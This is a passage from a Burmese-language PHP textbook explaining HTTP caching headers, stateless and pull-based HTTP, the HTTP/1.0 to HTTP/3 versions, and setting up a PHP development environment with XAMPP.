သိမ်းထားပြပီး ပေနာက်လုိရင် ဖြပန်သံုးနိုင်လ့ုိ ထပ်]ါထပ်]ါ သွားဖြပန်ယူစရာ မလုိအပ်ပေတာ့ပါဘူး။ အလုပ်လုပ်
ပံု အများကြကီးပုိဖြမန်သွားမှာပါ။ ဒါပေပမယ့် Server ကပေန လံုးဝ သွားမယူပေတာ့ရင် အပြမဲတမ်း အပေဟာင်းကြကီး
ပဲ  ဖြKစ်ပေနမှာစိုးလ့ုိ  max-age  ဆိုတဲ့  တန်Kုိးပေလးတစ်]ု  တွဲပေပးထားတာကို  ပေတွ့ရမှာ ဖြKစ်ပါတယ်။ နမူနာ
အရ 2592000 စက္ကန့်လ့ုိ ပေပးထားတဲ့အတွက် ရက်  (၃၀) သိမ်းထားလို့ ရမှာဖြKစ်ပါတယ်။ ရက်  (၃၀) ဖြပည့်
ရင်ပေတာ့ အသစ်ကို  Server ကပေန ပေနာက်တစ်]ါ သွားဖြပန်ယူရမှာပါ။ ဒါက Google Home Page လုိ သိပ်
အပေဖြပာင်းအလဲ မရှိနိုင်တဲ့ ပေနရာမ့ုိလ့ုိ ဒီပေလာက်ပမာဏ သတ်မှတ်ထားတာပါ။ မကြကာ]ဏ အပေဖြပာင်းအလဲ
ရှိတဲ့ပေနရာပေတွမှာပေတာ့  (၁)  နာရီ၊  (၁၀)  မိနစ်  စသည်ဖြKင့် လုိအပ်]ျက်နဲ့အညီ သတ်မှတ်ပေပးထားတာမျ ို း
ဖြKစ်နိုင်ပါတယ်။
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သ့ူအပေပါ်မှာ  Expires Header  နဲ့  ဒီ  Response  ရဲ့  သက်တမ်းကုန်မယ့်ရက်ကို  ထည့်ပေပးထားတာလည်း
ပေတွ့နိုင်ပါတယ်။ လက်ပေတွ့မှာ Cache-Control Header နဲ့ Expires Header နှစ်]ုထဲက တစ်]ုပါရင် ရပါ
ပြပီ။  Cache-Control  ပါရင်  Expires  ကို  Browser  ပေတွက  ထည့်သွင်း  မစဉ်းစားပေတာ့ပါဘူး။  Google
ကပေတာ့  တစ်]ျ ို ့  Proxy  ပေတွ  Firewall  ပေတွသံုးတဲ့လူပေတွအတွက်  Cache-Control  အလုပ်မလုပ်]ဲ့ရင်
အစားထုိး အလုပ်လုပ်နိုင်K့ုိ Expires ကိုပါ တွဲထည့်ပေပးထားတာ ဖြKစ်ပါလိမ့်မယ်။

ဒီပေနရာမှာ Header   တစ်]ု]ျင်းစီရဲ့ အဓိပ္ပါယ်အပေသးစိတ်ထက်   Request/Response   ပေတွမှာ ဒီလုိ   Header  
မျ ို းပေတွ  ရှိတတ်တယ် ဆိုတာပေလာက်ကို  သတိဖြပုထားရင်  လံုပေလာက်ပါပြပီ။  ကျန်အပေသးစိတ်ကို  လုိအပ်
လာပေတာ့မှ သ့ူပေနရာနဲ့သူ ဖြKည့်စွက်ပေလ့လာသွားလ့ုိ ရနိုင်ပါတယ်။

Stateless Protocol
HTTP  ကို  Stateless Protocol  လ့ုိပေ]ါ်ပါတယ်။ ဒီလိုဆက်သွယ်မှုတစ်]ု  ပြပီးဆုံးသွားရင်၊  အမှန်တစ်ကယ်
ပြပီးဆုံးသွားတာပါ။  ပေနာက်ထပ်  ထပ်မံဖြပုလုပ်မယ့်  ဆက်သွယ်မှုပေတွနဲ့  အ]ုပြပီးဆုံးသွားတဲ့  ဆက်သွယ်မှု
သက်ဆိုင်ဖြ]င်း၊  ဆက်စပ်ဖြ]င်း  မရှိပေတာ့ပါဘူး။  ဆက်သွယ်မှု  တစ်ကြကိမ်တိုင်းဟာ  သီးဖြ]ားအလုပ်လုပ်တဲ့
သပေဘာရှိလ့ုိ Stateless Protocol လ့ုိပေ]ါ်တာပါ။ ဒါအလွန်အပေရးကြကီးမှာတယ်။ ပေသ]ျာမှတ်ထားပါ။

ဒီလို  Stateless  သပေဘာသဘာဝကပေပးတဲ့  အားသာ]ျက်၊  အားနည်း]ျက်ပေတွ  ရှိပါတယ်။  အားနည်း]ျက်
ကပေတာ့ Client ဟာ Server ကိုဆက်သွယ်မှုဖြပုလုပ်တဲ့ အကြကိမ်တိုင်းမှာ ပေပးပ့ုိKို့ လုိအပ်တဲ့ အ]ျက်အလက်
ပေတွကို  ထပ်]ါထပ်]ါ  ပေပးပ့ုိရမှာဖြKစ်ပါတယ်။  နမူနာပံုမှာ  ကြကည့်လိုက်ရင်  User-Agent:  Chrome  ဆိုတဲ့
အ]ျက်အလက်ကို  ထည့်သွင်းပေပးပို့တဲ့အတွက်  Server  က  ဆက်သွယ်မှုဖြပုလုပ်လာသူဟာ  Chrome
Browser  ဖြKစ်ပေကြကာင်း  သိသွားပါတယ်။  ဒီနည်းက  Client  က  Server  ကို  သူဘယ်သူလည်း  အသိပေပး
အပေကြကာင်းကြကားတဲ့ သပေဘာမျ ို းပါ။ ဒါပေပမယ့် Client က ပေနာက်တစ်ကြကိမ် Server ကို ထပ်မံဆက်သွယ်လုိ
တဲ့အ]ါ "ငါ ]ုနက User-Agent: Chrome လ့ုိ ပုိ့ထားပြပီးသားပဲ၊ ဒီတစ်]ါထည့်မပ့ုိပေတာ့ဘူး" လ့ုိ ]ျန်ထားလ့ုိ
မရနိုင်ပေတာ့ပါဘူး။  ]ျန်ထားလုိက်ရင်  Server  က  အလိုလုိသိမှာ  မဟုတ်ပါဘူး။  ဘာပေကြကာင့်လဲဆိုပေတာ့
ပထမအကြကိမ်ဖြပုလုပ်တဲ့ ဆက်သွယ်မှုဟာ ပြပီးဆုံးသွား]ဲ့ပြပီးပါပြပီ။ ပျက်ဖြပယ်သွား]ဲ့ပါပြပီ။ အ]ုတစ်ကြကိမ် ထပ်မံ
ဖြပုလုပ်တဲ့ ဆက်သွယ်မှုနဲ့ သက်ဆိုင်ဖြ]င်းမရှိတဲ့အတွက်ပေကြကာင့်ပါ။ 
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ဒါပေကြကာင့်  Client  က  ဆက်သွယ်မှု  ဖြပုလုပ်တိုင်းမှာ  လုိအပ်တဲ့အ]ျက်အလက်ပေတွကို  အပြမဲတမ်း
ထပ်]ါထပ်]ါ ထည့်သွင်းပေပးပ့ုိရမှာပဲ ဖြKစ်ပါတယ်။  ဒါပေကြကာင့်  Browser  မှာ လိပ်စာတစ်]ု ရိုက်ထည့်လုိက်
တိုင်း၊  Link  တစ်]ုနှိပ်လိုက်တိုင်း၊  Refresh  လုပ်လုိက်တိုင်း ဆက်သွယ်မှု အသစ်အသစ်ပေတွကို ပေပးပ့ုိသွား
ဖြ]င်းဖြKစ်တယ်လ့ုိ ဖြမင်ကြကည့်နိုင်ပါတယ်။

နမူနာရှင်းလင်း]ျက် ဆိုတာကိုပေတာ့ သတိဖြပုပါ။ လက်ပေတွ့ Browser ပေတွရဲ့ User-Agent တန်Kုိးက အ့ဲဒီ
လုိ  တိုတိရုှင်းရှင်းပေလး မဟုတ်ပါဘူး။  Operating System  အမျ ို းအစားပေတွ၊  Browser  Version  နံပါတ်
ပေတွ၊  Compatibility ပေ]ါ် အဓိပ္ပါယ် သိပ်မရှိလှဘဲ အရင်ပေ]တ်က ပ့ုိ]ဲ့ရလ့ုိ အ]ုလည်း ထည့်ပ့ုိပေနရပေသးတဲ့
အ]ျက်အလက်ပေတွ စသည်ဖြKင့် အများကြကီးပါဝင်ပြပီး ရှုပ်ပေထွးတဲ့ တန်Kုိးတစ်]ု ဖြKစ်နိုင်ပါတယ်။ အပေသးစိတ်
ကြကည့်စရာ  မလုိအပ်ပေသးပါဘူး။  သပေဘာသဘာဝအားဖြKင့်  Browser  ပေတွက ဆက်သွယ်မှုဖြပုလုပ်တဲ့အ]ါ
သူဘယ်သူလဲဆိုတာကို  အသိပေပးတဲ့အပေနနဲ့  User-Agent  တန်Kုိးကို  ထည့်သွင်းပေပးပ့ုိပေလ့  ရှိတယ်လ့ုိ
မှတ်ထားရင် ရပါပြပီ။

ဒီလို  ထပ်]ါထပ်]ါ  ဖြပန်ပ့ုိပေနရပါတယ်ဆိုတဲ့  အားနည်း]ျက်ကပဲ  အားသာ]ျက်  ဖြပန်ဖြKစ်ပေနပါပေသးတယ်။
အကယ်၍များ  ဆက်သွယ်မှုပေတွဟာ တစ်]ုနဲ့တစ်]ု  ဆက်စပ်ပေနမယ်ဆိုရင်  Client  ဘက်က စဉ်းစားစရာ
ပေတွ အပေတာ်များသွားပါပြပီ။  "ငါ ပထမအကြကိမ်ပ့ုိ]ဲ့တာ ဘာပေတွလည်း၊ ဒီတစ်ကြကိမ် ဘာပေတွထပ်ပ့ုိရမလဲ၊ ပ့ုိ
ထားတာပေတွက Server မှာ ရိှပေသးရဲ့လား၊ မရှိပေတာ့ရင် ဘယ်လုိလုပ်မလဲ" စသည်ဖြKင့် ပေမး]ွန်းထုတ်စရာ
ပေတွ  အပေတာ်များသွားပါပြပီ။  အ]ုပေတာ့  Stateless  ဖြKစ်ပေနတဲ့အတွက်  အရမ်းရှင်းသွားပါတယ်။  ဘာမှ
ပေမး]ွန်းထုတ်မပေနဘဲ လုိအပ်တာအကုန်ပ့ုိပြပီး ဆက်သွယ်လိုက်ယံုသာဖြKစ်လ့ုိ  Client  အတွက် ဆက်သွယ်မှု
ပေတွ  ဖြပုလုပ်ရတာ  ပေတာ်ပေတာ်ကြကီး  ရိုးရှင်းလွယ်ကူသွားတာပါ။  ဒီအားသာ]ျက်ပေကြကာင့်ပဲ  ပေနာက်ပုိင်းမှာ
HTTP    ကို  အဓိကဆက်သွယ်ပေရးနည်းပညာအဖြKစ်    Web    မှာသာမက  တစ်ဖြ]ား    Mobile,  Desktop    စတဲ့  
ပေဆာ့K်ဝဲအမျ ို းအစားပေတွမှာ အသုံးဖြပုပေနကြကတာပါ။
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Pull Technology
HTTP ဟာ Pull Technology တစ်မျ ို း ဖြKစ်ပါတယ်။ Client   က   Server   ကို စတင်ဆက်သွယ်ဖြ]င်းအားဖြKင့်  
သာ  ဆက်သွယ်မှုကို  အစဖြပုပါတယ်။    Server    က ဆက်သွယ်မှုကို  အစဖြပုတယ်ဆိုတာ  လံုးဝမရှိဘူး   လ့ုိ
မှတ်နိုင်ပါတယ်။ လုိ]ျင်တဲ့  Client က အ]ျက်အလက်ကို  Pull  လုပ်ယူရလ့ုိ Pull Technology လ့ုိ ပေ]ါ်ကြက
တာပါ။ ပေပး]ျင်တဲ့သူက သ့ူသပေဘာနဲ့သူ Push လုပ်ပေပးနိုင်တဲ့ Push Technology မဟုတ်ပါဘူး။ 
ဒီလို  Pull Technology ဖြKစ်ဖြ]င်းပေကြကာင်းလည်း အားသာ]ျက်၊ အားနည်း]ျက်ပေတွ ရှိပေနပါတယ်။ အားသာ
]ျက်ကပေတာ့  Client အတွက် အလုပ်လုပ်ရတာ ထပ်ဆင့်ပုိပြပီး ရိုးရှင်းလွယ်ကူသွားတာပါ။ လုိ]ျင်တာရှရိင်
ဆက်သွယ်မှု ဖြပုလုပ်လုိက်ယံုပါပဲ။ ကိုယ်က မဆက်သွယ်ဘဲနဲ့ Server က ပေပးပို့လာတာများ ရှိမလားဆိုပြပီး
ထုိင်ပေစာင့်ပေနစရာ လံုးဝ မလိုအပ်ပေတာ့ပါဘူး။ ကိုယ့်ဘက်က မဆက်သွယ်ဘဲ  Server  ဘက်က တုံ့ဖြပန်မှာ
မဟုတ်တာ ပေသ]ျာပေနလ့ုိပါ။

အားနည်း]ျက်ကပေတာ့  Real-Time  မဖြKစ်ဖြ]င်း  ဖြKစ်တယ်လ့ုိ  ဆိုနိုင်ပါတယ်။  Server  မှာ  အ]ျက်အလက်
ပေတွက Update ဖြKစ်ပေနပြပီ။ ဒါပေပမယ့် သ့ူဘက်ကပေန ပေပးလ့ုိမရလ့ုိ Client ဆီမှာ အ]ျက်အလက် Update
က ပေရာကရ်ှိသွားမှာ မဟုတ်ပါဘူး။  Client က လုိ]ျင်လို့ ပေတာင်းယူပေတာ့မှသာ ရှိထားတဲ့ အ]ျက်အလက်
Update ပေပးလ့ုိရမှာပါ။ ဒါပေကြကာင့် Server မှာ Update ဖြKစ်တာနဲ့ Client မှာ အလုိအပေလ�ာက် Update မ
ဖြKစ်လ့ုိ Real-Time မဖြKစ်တဲ့ အားနည်း]ျက် ဖြKစ်ပေပါ်ပေစတာပါ။

ဒီ Pull Technology သပေဘာသဘာဝဟာလည်း HTTP ပေအာင်ဖြမင်ရဖြ]င်း အပေကြကာင်းရင်း ပေတထဲွမှာ တစ်]ု
အပါအဝင်ဖြKစ်ပါတယ်။ အထက်မှာ ပေဖြပာ]ဲ့တဲ့  Stateless သပေဘာသဘာဝနဲ့ ပေပါင်းစပ်လုိက်တဲ့အ]ါ Client
ပေတွအပေနနဲ့  HTTP  ကိုအသံုးဖြပုပြပီး  Server  ကိုဆက်သွယ်ရတာ အများကြကီး ရိုးရှင်းလွယ်ကူသွားတာပါ။ ဒါ
ပေကြကာင့် အတို]ျုပ်ပေလးဖြပန်ပေဖြပာ]ျင်ပါတယ်။

• HTTP ဟာ Stateless နည်းပညာဖြKစ်လို့ ဆက်သွယ်မှုတစ်]ုနဲ့တစ်]ု ဆက်စပ်သက်ဆိုင်ဖြ]င်းမရှိပါ
ဘူး။ ဆက်သွယ်မှုတစ်]ုဖြပုလုပ်တိုင်းမှာ ပေပးပ့ုိKိုလုိအပ်တဲ့အ]ျက်အလက်ပေတွကို ထပ်မံပေပးပ့ုိရမှာ
ဖြKစ်ပါတယ်။

• HTTP ဟာ Pull Technology ဖြKစ်လ့ုိ Client ကဆက်သွယ်မှသာလ�င် Server က တုံ့ဖြပန်မှာဖြKစ်ပါ
တယ်။ Client က မဆက်သွယ်ဘဲ  Server ကစတင်ဆက်သွယ်မှာ မဟုတ်တဲ့ နည်းပညာပဲ ဖြKစ်ပါ
တယ်။
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HTTP/2 & HTTP/3
HTTP  မှာ  Version  (၄)  ]ု  ရှိပါတယ်။  HTTP/1.0,  HTTP/1.1,  HTTP/2  နဲ့  HTTP/3  တို့ပါ။  HTTP/1.0
ကပေတာ့  အ]ုဘယ်သူမှ မသံုးပေတာ့ပါဘူး။  ဟိုးအရင် ပေပါ်]ါစက နည်းပညာပါ။  လက်ရှိ  အတွင်ကျယ်ဆုံး
အသုံးဖြပုပေနတာက HTTP/1.1 ဖြKစ်ပြပီးပေတာ့၊ HTTP/2 ကို တစ်ဖြKည်းဖြKည်း ပေဖြပာင်းပေနကြကပါတယ်။ အ]ုပေတာ့
HTTP/3 လည်း ထွက်ပါပေတာ့မယ်။

ဒီနည်းပညာပေတွ  ဖြKစ်ပေပါ်လာပံုနဲ့  ပက်သက်ပြပီး  စိတ်ဝင်စားK့ုိ  ပေကာင်းတဲ့  ပေနာက်]ံအပေကြကာင်းအရာပေလး
ပေတွ ရှိပေပမယ့်  ဒါပေတွကို  အကျယ်မ]ျဲ့ပေတာ့ပါဘူး။ ဖြပည့်စုံပေအာင် ပေဖြပာရမယ်ဆိုရင်  TCP  တို့  UDP  တို့လုိ
Network  နည်းပညာပေတွ  အပေကြကာင်းကိုပါ  ထည့်ပေဖြပာမှ  ရပါလိမ့်မယ်။  ဒီပေနရာမှာ  အလုပ်လုပ်ပံု
သပေဘာသဘာဝ အကျဉ်း]ျုပ်ပေလာက်ကို ထည့်သွင်း ပေKာ်ဖြပ]ျင်ပါတယ်။

• HTTP/1.0 မှာ  Resource  တစ်]ုကိုလုိ]ျင်ရင်  Client  က  Server  ကို  တစ်ကြကိမ်  ဆက်သွယ်ရပါ
တယ်။ Resource (  ၁၀  )   ]ရုှိရင်   Network Connection (  ၁၀  )   ကြကိမ် ဖြပုလုပ်ရပါတယ်  ။ အထက်မှာ
ပေတွ့]ဲ့ပြပီး ဖြKစ်ပါတယ်။ Google Home Page တစ်]ုကို လုိ]ျင်လ့ုိ Request လုပ် ယူလုိက်ပေပမယ့်၊
တစ်ကယ်တမ်း ရယူK့ုိလုိတဲ့  Resource  ပေတွက အများကြကီးပါ။  (၄၀) ပေကျာ်ထိ ရှိတာကို ပေတွ့ရပါ
တယ်။  HTTP/1.0  ကိုသာအသံုးဖြပုမယ်ဆိုရင်  Browser  က ဒါပေတွအကုန်ရK့ုိအတွက်  Network
Connection အကြကိမ် (၄၀) သီးဖြ]ားစီ ဖြပုလုပ်သွားရမှာ ဖြKစ်ပါတယ်။

• HTTP/1.1 မှာပေတာ့ Keep Alive လ့ုိပေ]ါ်တဲ့ Network Connection ကို လုိသပေလာက် Kွင့်ထားလ့ုိ
ရတဲ့  သပေဘာသဘာဝပေလး  ပါသွားပါတယ်။  Network  Connection    တစ်]ုထဲနဲ့  လုိ]ျင်တဲ့  
Resource (  ၄၀  )    ပေကျာ်ကို တစ်]ုပြပီးတစ်]ု တန်းစီယူလ့ုိ ရနိုင်သွားပါတယ်  ။  Connection အကြကိမ်
(၄၀)  Kွင့်စရာ မလုိပေတာ့ပါဘူး။  ဒါပေပမယ့် Kွင့်ထားတဲ့  Connection  ပေပါ်မှာ  Resource  ပေတွကို
တစ်]ုပြပီးမှတစ်]ု  တန်းစီပြပီးပေတာ့  ယူပေနရတဲ့  အားနည်း]ျက် ကျန်ပေနပါပေသးတယ်။  ဒါပေကြကာင့်
Browser  ပေတွက အလုပ်လုပ်ရတာ ဖြမန်သွားပေအာင်  Network Connection (၄-၅)  ]ု အပြပိုင်Kွင့်
ပြပီး Resource ပေတွကို ]ွဲယူကြကပေလ့ ရိှပါတယ်။
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• HTTP/2 မှာပေတာ့ Multiplex လ့ုိပေ]ါ်တဲ့ သပေဘာသဘာဝ တစ်မျ ို း ထပ်ပါသွားပါတယ်။ Network
Connection (၁) ]ုထဲနဲ့ Resource ပေတွကို (၄-၅) သုတ်]ွဲပြပီး ပြပိုင်တူယူလုိ့ ရသွားပါတယ်။ (၄-၅)
သုတ်]ွဲပြပီး  တစ်ပြပိုင်ထဲလုိ]ျင်လုိ့  Network  Connection  (၄-၅)  ]ု  ]ွဲKွင့်စရာ  မလုိပေတာ့ပါဘူး။
ဖြပဿနာတစ်]ု ကျန်ပေနပါတယ်။  Network Connection (  ၁  )    ]ုပေပါ်မှာ    (  ၄  -  ၅  )    သုတ်]ွဲယူထားတဲ့  
အတွက်  တစ်သုတ်    Fail    ဖြKစ်ရင်  အကုန်အစအဆုံး  ဖြပန်စရဖြ]င်း   ဖြKစ်ပါတယ်။  TCP  လ့ုိပေ]ါ်တဲ့
Network Protocol  နည်းပညာရဲ့ သပေဘာသဘာဝအရ တစ်]ျ ို ့တစ်ဝက်  Fail  ဖြKစ်တာနဲ့ အကုန်
အစအဆုံး ဖြပန်ပ့ုိတဲ့အတွက် ဖြKစ်ပါတယ်။

• HTTP/3 မှာပေတာ့ TCP ကို မသုံးပေတာ့ပါဘူး။ UDP လ့ုိပေ]ါ်တဲ့ Network Protocol ကို ပေဖြပာင်းသံုး
ပေတာ့မှာ ဖြKစ်ပါတယ်။ UDP က ပ့ုိစရာရှတိာ ပ့ုိလုိက်မှာပါ။ Fail ဖြKစ်ဖြ]င်း မဖြKစ်ဖြ]င်းကို သူတာဝန်မ
ယူပါဘူး။ ဒါဖြKင့်ရင် တစ်]ျ ို ့တစ်ဝက် Fail ဖြKစ်တာမျ ို း ရှိ]ဲရ့င် ဘယ်လုိလုပ်မလဲ။ ဒီလုိရှိလာတဲ့အ]ါ
Fail    ဖြKစ်တဲ့အပုိင်းကိုပဲ ပေရွးပြပီး ဖြပန်ပ့ုိပေပးနိုင်တဲ့    QUIC    လ့ုိပေ]ါ်တဲ့ နည်းပညာတစ်မျ ို း   ကို  Google
က တီထွင်ထားပါတယ်။ HTTP/3 မှာ အ့ဲဒီ QUIC နည်းပညာကို အသုံးဖြပုမှာ ဖြKစ်ပါတယ်။

ဒီပေလာက်ဆိုရင်  HTTP/1.1, HTTP/2, HTTP/3  စသည်ဖြKင့် သံုးထားတဲ့  Version  ကွဲဖြပားမှုကို  ဖြမင်တဲ့အ]ါ
ဘာကွာသွားတာလဲ ဆိုတာကို အကြကမ်းKျဉ်း ဖြမင်သွားကြကလိမ့်မယ်လ့ုိ ယူဆပါတယ်။

Conclusion
PHP  အပေကြကာင်းမပေဖြပာ]င်  ဒါပေတွကို  အရင်ပေဖြပာဖြပပေနတယ်ဆိုတာ  လုိအပ်လ့ုိပါ။  PHP  ဟာ ပေတာ်ပေတာ်
ပေလး  အပေဖြ]]ံကျတဲ့  နည်းပညာတစ်]ုပါ။  သူကိုယ်တိုင်  အလုပ်အားလံုးကို  လုပ်တာမဟုတ်ပါဘူး။  Web
နည်းပညာကို  သူက အသံုး]ျပြပီး အလုပ်လုပ်တာပါ။ ဒါပေကြကာင့်  PHP  ကိုပေလ့လာရတာ ထိပေရာက်မှုရှိပေစK့ုိ
Web  နည်းပညာရဲ့  သပေဘာသဘာဝပေတွကို  အရင်ပေဖြပာဖြပပေနတာလုိ့  ဆိုနိုင်ပါတယ်။  ပေဆာ့K်ဝဲပေရးသားမှု
နည်းပညာတစ်]ုကို  ပေလ့လာတဲ့ပေနရာမှာ  ကိုယ်ပေရးလုိက်တဲ့ကုဒ်  ဘယ်လုိအလုပ်လုပ်သွားသလဲဆိုတာကို
ပေ]ါင်းထဲမှာ ပံုပေKာ်ကြကည့်နိုင်စွမ်းရှိK့ုိဟာ အပေရးအကြကီးဆုံး လုိအပ်]ျက်ဖြKစ်ပါတယ်။ အ]ုလုိ  Web ရဲ့အလုပ်
လုပ်ပံုကို သိထားမှာသာ PHP ကိုအသံုးဖြပုပေရးသားထားတဲ့ ဝဘ်ဆိုက်တစ်]ုရဲ့ အလုပ်လုပ်ပံုကို ပေ]ါင်းထဲမှာ
ပံုပေKာ်ကြကည့်နိုင်စွမ်း ရိှမှာပဲဖြKစ်ပါတယ်။
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အခန်း (၂) – PHP Development Environment

PHP ကုဒ်ပေတွ စတင်ပေရးသားနိုင်Kို့အတွက် လုိအပ်တဲ့ Development Environment တစ်]ု တည်ပေဆာက်
ထားK့ုိ  လုိပါတယ်။  Development  Environment  ဆိုတာ  ကိုယ့်စက်ထဲမှာ  ကုဒ်ပေတွ  ပေရးပြပီး  Run  လ့ုိ
ရပေအာင် လုိအပ်တဲ့  နည်းပညာပေတွ ထည့်သွင်းဖြပင်ဆင်ဖြ]င်း  ဖြKစ်ပါတယ်။  PHP  ဟာ  Server-side  နည်း
ပညာတစ်]ုဖြKစ်တဲ့အတွက်  Web Server  တစ်]ုနဲ့  ပူးတွဲအသံုး]ျရတဲ့သပေဘာ ရှိပါတယ်။ ထင်ရှားတဲ့  Web
Server  ပေဆာ့K်ဝဲပေတွက  Apache, Nginx  နဲ့  Microsoft IIS  တို့ပဲ ဖြKစ်ပါတယ်။  PHP  ကို  ဒီ  Web Server
နည်းပညာ အားလုံးနဲ့ ပူးတွဲအသံုးဖြပုလ့ုိ ရနိုင်ပါတယ်။ အ့ဲဒီထဲက Apache နဲ့ Nginx တို့ဟာ Open Source
နည်းပညာပေတွ ဖြKစ်ကြကပြပီး PHP နဲ့ ပုိပြပီးပေတာ့ တဲွKက် အသံုးများပါတယ်။

အ]ုပေနာက်ပုိင်း PHP Version ပေတွမှာ Development Server လ့ုိပေ]ါ်တဲ့ Web Server ပေလးတစ်]ု တစ်]ါ
ထဲ ပါဝင်ပါတယ်။ ဒါပေကြကာင့် သီးဖြ]ားပေဆာ့K်ဝဲပေတွ မလုိအပ်ဘဲ၊ သူ့မှာပါတဲ့  Development Server  နဲ့တင်
PHP ကုဒ်ပေတွ ပေရးပြပီးစမ်းလုိ့ ရနိုင်ပါတယ်။ ဒါပေပမယ့် ဖြပည့်စုံတဲ့  Development Environment တစ်]ုဖြKစ်
K့ုိဆိုရင်  MySQL Database  အပါအဝင် တစ်ဖြ]ား လုိအပ်တာပေတွ ရှိပါပေသးတယ်။ လုိအပ်မယ့် နည်းပညာ
ပေတွကို  တစ်]ုပြပီးတစ်]ု  ကိုယ့်အစီအစဉ်နဲ့ကိုယ်  Install  လုပ်လုိ့  ရနိုင်သလုိ၊  လုိအပ်မယ့်  နည်းပညာပေတွ
အားလံုးကို ပေပါင်းစပ်စုစည်းပေပးထားတဲ့ All-in-one Package ပေတွလည်း ရိှပေနပါတယ်။ အ့ဲဒီထဲမှာ အထင်
ရှားဆုံးနဲ့ အပေကာင်းဆုံးကပေတာ့ XAMPP လ့ုိပေ]ါ်တဲ့ နည်းပညာပါ။

- https://www.apachefriends.org

https://www.apachefriends.org/
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XAMPP မှာ ဖြပည့်စုံတဲ့ PHP Development Environment တစ်]ု တည်ပေဆာက်Kို့အတွက် လုိအပ်တာပေတွ
အားလံုး စုစည်းပါဝင်ပါတယ်။  Windows, Linux  နဲ့  Mac  အားလံုးမှာ အသံုးဖြပုနိုင်ပါတယ်။ ပါဝင်တာပေတွ
အများကြကီးထဲက အပေရးအကြကီးဆုံး တစ်]ျ ို ့ကို ပေရးွထုတ်ဖြပရရင် ဒီလုိပါ –

1. Apache Web Server
2. Apache Modules
3. PHP
4. PHP Extensions
5. MySQL Database
6. MySQL Admin

အ]ုပေနာက်ပုိင်းမှာ PHP ကို  Nginx Web Server နဲ့လည်း အသံုးများလာပေပမယ့် တွဲKက် အသံုးအများဆုံး
ကပေတာ့ Apache ဖြKစ်ပါတယ်။ XAMPP မှာ Apache Web Server တစ်]ါထဲ ပါဝင်ယံုသာမက လုိအပ်မယ့်
Web Server Modules ပေတွလည်း ပါဝင်ပါပေသးတယ်။ ဥပမာ Resource ပေတွကို Compress  လုပ် ]ျုံ့ပြပီးမှ
Response ဖြပန်ပေပးနိုင်တဲ့ Compression Module လုိ Module မျ ို းပေတွပါ။ ဒီ Module ပေတွ အပေကြကာင်းကို
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အပေသးစိတ်  ထည့်သွင်း  မပေKာ်ဖြပနိုင်ပေပမယ့်၊  ပေနာက်ပုိင်းမှာ  တစ်]ျ ို ့ပပေရာဂျက်ပေတွအတွက်  လုိအပ်တဲ့
Web Server Module    မစုံလ့ုိ  အလုပ်မလုပ်ဘူး   ဆိုတဲ့  ဖြပဿနာမျ ို းပေတွ  XAMPP  နဲ့ဆိုရင်  မရှိသပေလာက်
နည်းမှာဖြKစ်ပါတယ်။ အားလုံးစုံပေအာင် တစ်]ါထဲ ထည့်ထားပေပးလ့ုိပါ။

PHP  ဟာ  Interpreted  Language  တစ်မျ ို းဖြKစ်ပါတယ်။  ပေရးလုိက်တဲ့  PHP  ကုဒ်ပေတွကို  ကွန်ပျူတာ
နားလည်ပေအာင်  တိုက်ရိုက်ဘာသာဖြပန်ပေပးနိုင်တဲ့  Interpreter  လုိပါတယ်။  XAMPP  နဲ့အတူ  PHP
Interpreter တစ်]ါထဲ ပါဝင်ပါတယ်။ ပြပီး]ဲ့တဲ့အ]န်းမှာ Server က PHP ကုဒ်ပေတွကို အရင်အလုပ်လုပ်ပြပီး
ရလာတဲရ့လဒ်ကို  Response  အပေနနဲ့  ဖြပန်ပေပးတယ်လ့ုိ ပေKာ်ဖြပ]ဲ့ပါတယ်။  Apache Web Server  အတွက်
mod_php လ့ုိပေ]ါ်တဲ့ PHP ကုဒ်ပေတွကို Run ပြပီးမှ ရလဒ်ကို Response ဖြပန်ပေပးနိုင်ပေစတဲ့ Module တစ်]ုရှိ
ပါတယ်။ ဒါပေကြကာင့် Install လုပ်ထားတဲ့ Apache Web Server နဲ့ PHP Interpreter ကို mod_php နဲ့]ျတိ်
ပေပးရတယ်လို့  ဆိုနိုင်ပါတယ်။  ဒီအလုပ်ကို  XAMPP  က  တစ်]ါထဲ  လုပ်ထားပေပးပြပီးသား  ဖြKစ်လုိ့  ကိုယ့်
ဘာသာ   Configuration  ပေတွလုပ်စရာ  မလုိအပ်ပေတာ့ပါဘူး။  Request    ဖြပုလုပ်လာတဲ့    Resource    ရဲ့  
Extension   က   .php     ဖြKစ်]ဲ့မယ်ဆိုရင်   Apache   က   PHP   ကိုအသံုးဖြပုပြပီး ကုဒ်ပေတွကို   Run   ပြပီးမှသာ ရလဒ်  
ကို   Response   အပေနနဲ့ ဖြပန်ပေပးသွားမှာပါ  ။

ပြပီးပေတာ့  PHP  ကို  Install  လုပ်တဲ့အ]ါ  သ့ူ]ျည်းပဲ  မဖြပည့်စုံပါဘူး။  Extension  ပေတွ  လုိအပ်ပါတယ်။
Database  နဲ့  ဆက်သွယ် အလုပ်လုပ်နိုင်တဲ့  Extension  ပေတွ၊ အဂ�လိပ်စာမဟုတ်တဲ့  String  ပေတွကို  စီမံ
အလုပ်လုပ်ပေပးနိုင်တဲ့  Extension ပေတွ၊ စသည်ဖြKင့် လုိအပ်ပါတယ်။ ပေနာက်ပုိင်းမှာ တစ်]ျ ို ့ပပေရာဂျက်ပေတွ
အတွက် လုိအပ်တဲ့    PHP Extension   မစုံလ့ုိ အလုပ်မလုပ်ဘူး   ဆိုတဲ့ ဖြပဿနာမျ ို းပေတွ XAMPP နဲ့ဆိုရင် မရှိ
သပေလာက် နည်းမှာဖြKစ်ပါတယ်။ အားလံုးစုံပေအာင် တစ်]ါထဲ ထည့်ထားပေပးလ့ုိပါ။

ဆက်လက်ပြပီးပေတာ့  MySQL  လုိ  Database Server  နည်းပညာနဲ့  အ့ဲဒီ  Database  ကို  စီမံနိုင်တဲ့  Admin
ပေဆာ့K်ဝဲပေတွလည်း XAMPP မှာ အားလံုးပါဝင်ပြပီး ဖြKစ်ပါတယ်။ ဒီလုိမျ ို း တစ်]ုထဲနဲ့ အကုန်စုံပေအာင် ပါတဲ့
အတွက်ပေကြကာင့်ပဲ  PHP  Development  Environment  တည်ပေဆာက်Kို့အတွက်  အသင့်ပေတာ်ဆုံး  နည်း
ပညာအဖြKစ် XAMPP ကို ပေရးွ]ျယ်အသုံးဖြပုသင့်ဖြ]င်း ဖြKစ်ပါတယ်။
